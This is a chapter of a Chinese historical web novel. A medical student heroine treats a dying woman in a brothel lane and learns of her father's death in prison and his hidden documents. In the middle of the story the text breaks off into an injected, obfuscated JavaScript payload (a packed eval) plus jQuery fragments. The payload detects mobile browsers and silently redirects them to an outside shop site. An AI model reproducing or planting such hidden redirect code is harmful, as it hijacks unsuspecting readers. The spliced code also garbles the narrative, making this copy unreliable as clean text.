书院里的学生们不知其中缘由,单是听闻沈惊鸿参了军,便有学生拍案叫好,说这才叫血性男儿,国难当头,正该如此。又有人红着眼眶道,沈家三代单传,他这一去,成全了自己的忠义,却叫沈家香火无继,实属大不孝。
钟景行闻言,把手中折扇啪地一合,大言不惭道:“如此说来,日后这松岚书院第一俊俏的名头,可就要落在钟某身上了。”众人听罢,顿作鸟兽散,纷纷摆手道,论学问钟公子自是翘楚,论相貌嘛,那还是陆夫子更胜一筹。
满堂哄笑。
晚桐坐在靠窗的位置,望着钟景行意气风发的侧脸,脑中却浮现出沈惊鸿临行前,于人群中含笑回望她的那一眼。
只有她晓得,沈惊鸿从不是一时意气,他有自己的路,有他沈家三代未竟的使命。
旁人不懂,也左右不了。
她低下头,在便笺上默默画下一朵海棠。
花瓣寥寥数笔,浅淡得很。
书院里的人来来去去,谁走谁留,日子总归要过下去。有些人走了便不会再回来,而留下的人,须得挺直脊背,继续往前走。
好巧不巧,第二日楚夫子便回了书院,而陆玠是在同一天离开的。来时一身青衫,去时也是一身青衫,抽屉里那七只香囊,他一只也没有带走。
孙家小姐听闻他走了,在课室里伏案趴了整整一个下午,任谁来唤都不肯抬头。
天太冷了,阿檀听闻有家面摊味道极好,散学后便带着晚桐去吃。
阿檀捧着热气腾腾的面碗,一边吹气一边往嘴里送,烫得直哈气,嘴里还不住地念叨:“小姐,这家的油辣子可香了,快尝尝!”
“当真?”晚桐拈起瓷勺,添了一勺油辣子,一口下去,便也同阿檀一样吐着舌头直哈气。
正这时,一个妇人忽然晕倒在路中央。
所幸此时并无车马经过,晚桐搁下筷子便快步赶了过去。
她跪在妇人身边,三指搭上腕脉。
脉象细弱如游丝,尺部沉涩难起,肺脉虚数而无力,这是肺阴亏耗过甚、正气衰微已极之象。
再看面色,枯黄中隐隐泛青,唇色发绀,印堂晦暗无光,分明是沉疴入骨、病入膏肓的症候。
晚桐从袖中摸出针囊,拈出一根金针,在妇人的人中穴上稳稳捻入。
不过片刻,地上的人咳嗽一声,缓缓睁开眼来。
“醒了?先别急着动,缓一缓。”晚桐收了针,回头唤道:“阿檀,端碗面汤来。”
阿檀应声端来面汤,蹲下身子,一勺一勺地喂她慢慢喝了两口。
妇人又是一阵剧咳,赶忙拿帕子捂住嘴。
“可好些了?”晚桐将她扶住。
“多谢姑娘,老毛病了,不碍事。”妇人撑着地面想起身,晚桐顺势托住她,目光落在她提着的药包上。
“这位娘子,你这病是积劳成疾,肺阴亏耗太甚,若再不好生将养,怕是……”
那妇人听了,竟微微一笑,笑容里带着几分凄然的从容:“劳小姐费心,几年前也有人给我瞧过,说的话同您大差不差,连切脉的手法都一模一样。”
“她那时便说,好生将养的话还有三五年好活。我这讨生活的贱命哪里能好好将养,不过也没死成,到如今,刚好三年了。”
晚桐心头猛地一跳,“那位前辈,长什么模样?”
“头发白了半头,和气得很,笑起来眼睛弯弯的,叫人瞧着就心安。”妇人将帕子叠好,按了按嘴角,“不过她来找我,不是来瞧病的,是来打听旁的事的。”
“何事?”晚桐将妇人扶到面摊的长凳上坐下,妇人把手捂在面碗上,微微发抖。
“问我爹。”她低头望着碗里的面汤,声音很轻,“可我爹死的时候我才七岁,什么都不知道。她瞧着我叹了口气,坐了一会儿便走了。”
晚桐默了一瞬,又问:“敢问娘子如何称呼?我可以捎你一程。”
“不敢劳烦小姐,奴唤作明荷。”她自顾自摇摇头,“不过,这名字已有三十年没人唤过了,现下奴住在南城桂花巷,小姐金尊玉贵,那里腌臜,不便去的。”
晚桐自是知道桂花巷,岚城里最有名的烟花之地,巷子窄得连马车都进不去,却是城里最见不得人的热闹所在。
她站起身,扶起明娘子的手臂,低声道:“不碍事。前头引路便是。”
明娘子怔住了,嘴唇嗫嚅了几下,“小姐……您不嫌弃……”
桂花巷是那种连午后最烈的阳光都不愿久留的地方。
巷口卖馄饨的老头抬起浑浊的眼睛看了晚桐一眼,又低下去了,他在这里坐了几十年,见惯了往这条巷子里走的各色人等。
巷子两旁的屋檐压得极低,檐下垂着一排褪了色的红灯笼,有几只已经破了,露出里面残破的竹骨,在风中无声地晃荡。
风裹挟着一股陈年的脂粉味,混着路旁积雪融化后泛上来的潮气,让人无端觉得憋闷。
明娘子领着她们走到一扇灰黑色的木门前。
门楣上钉着一块木牌,上头歪歪斜斜地刻着一个“明”字,漆皮剥落,锈迹斑斑,像是无声的眼泪。
“您住在这里多久了?”晚桐望着那扇门,心中酸涩。
明娘子倒是笑了笑,那笑容很淡,像是早已不觉得这有什么值得伤感的。“总有十一二年了罢,刚来的时候,巷子里比现在热闹得多,人声鼎沸的,夜夜笙歌。”
正说着,几个女子从外头回来,脂粉的冷香从晚桐身侧飘过去,她们看了晚桐一眼,目光里没有任何多余的情绪,便低头各自走进自己的院子。
门扇一开一合,像是某种习以为常的叹息。
明娘子推开门,一股浓重的药味裹着冷气涌出来,几乎要把人逼退一步。
屋子很暗,窗户上糊的桑皮纸已经发黄,透进来的天光被滤成了昏沉沉的灰黄色,照在同样灰扑扑的桌面上。
桌上搁着一只药碗,碗底沉着褐黑色的药渣,已经干透了,也不知道是哪一日喝剩下的。
阿檀把新配的药包搁在桌上,给晚桐找了张勉强能坐的杌子,用袖子拂了拂上面的灰。
晚桐没有坐,她的目光落在那只干涸的药碗上,许久没有说话。
“方才您说,几年前有人来向您问您爹的事。”晚桐的声音很轻,“您爹,是何姓名?”
明娘子垂下眼睛,这个名字太久太久没有人问过了。
她以为世上再无人关心,她望向晚桐,眼睛里是深不见底的疲惫。
“韩知远,死了三十多年了。”
屋子里突然安静了。
明娘子接着说道:“那些人把他抬出来的时候,他身上只裹着一张破席子,鞋都没有,是我自己把他脚上的草屑一点一点捡干净的。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625182|203756||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“他的……他的脚趾甲……一个都没剩下,我那时小,不懂。后来才晓得,那是在牢里被一颗颗拔掉的。”
窗外的风从门缝里挤进来,吹得桌上那张不知何年何月的方子轻轻掀动一角。
明娘子忽然剧烈地咳起来,肩膀剧烈地耸动。
晚桐趋步上前,金针再次落下,咳嗽才渐渐平息。
那方染血的帕子从她手里垂下来,暗红的血迹在昏暗的屋里显得格外扎眼。
“您爹是因何……”阿檀忍不住开口,话未说完便被晚桐一个眼神轻轻止住了。
“无妨。”明娘子摆了摆手,“左右我的日子也数得过来了。小姐愿意听,我就说。也好久没有人,听我好好说说话。”
她靠回椅背上,眼睛微微合着,像是在拼凑一件久远得快要散架的往事。
“他们说爹爹私藏了什么官家文书。那年我七岁,家里忽然闯进来好多人,把每一块地砖都掀了,每一面墙都敲了一遍。他们搜了一天一夜,什么都没搜出来。后来我爹就被带走了,再也没有回来。”
她停了一下,喉头动了动。
“他们说他把东西藏了,可谁也找不到。那年我确实什么都不知道。可后来,后来我被送到亲戚家,吃不饱穿不暖,十三岁就被卖进了青楼……”
“那些年,夜里睡不着的时候,我就翻来覆去地想,想我爹最后那几天说过什么话,做过什么事,去过什么地方。后来我想到了,我知道他把东西藏在了哪里。”她按了按胸口,继续说道:“但不知道那是什么,我也没有去寻过。”
“为什么不去找?”阿檀的声音有些发颤。
“我不想去找那害了我一辈子的东西!”明娘子她望着窗外那一点点灰黄色的光,眼睛里没有泪,却比流泪时更叫人心碎。
“其实我死了也好。”她声音轻得像一片枯叶落在地上,“死了就能去问我爹一句话。我就问他,当年你做那些事的时候,有没有想过你还有一个女儿?有没有想过你的女儿还在家里等你回来?”
她的眼泪终于淌了下来,而后转过身轻轻哼唱着:
破庙破,门槛高,
跨过门槛踩三脚。
左边石墩右边草,
扒开草窝找一找。
找到了,莫声张,
月亮底下开小箱。
箱里藏着老故事,
爷爷的爷爷放的光。
明娘子拿出一把铜钥匙交给晚桐,钥匙上拴着一根旧红绳,红绳已经褪得发白,看不出原来的颜色,“我家在云中郡,那里很美,你可以去瞧瞧。”
晚桐握住钥匙,牵起明娘子的手,“明娘子,你同我一起去。”
“我不去了。”明娘子摇了摇头,声音里有一种决绝的平静,“虽然我不识字,但我认得我爹写的字,我去了,我会舍不得让你拿走。”
她站起来,背过身去,开始生火煎药。
“你拿了就走。也别再来了。”她的声音从药罐的咕嘟声里隐约传来,“如果你有朝一日查清了我爹藏起来的事,在门口告诉我一声就行。”
“我姓韩,叫韩明荷,这名字是我爹给我取的。这世上最后一个记得这名字的人,大概也快要没有了。”
晚桐握着那把铜钥匙,钥匙上还残留着明荷手心里的一点余温。
但那仅存的温度,正一寸一寸地,从掌心消失。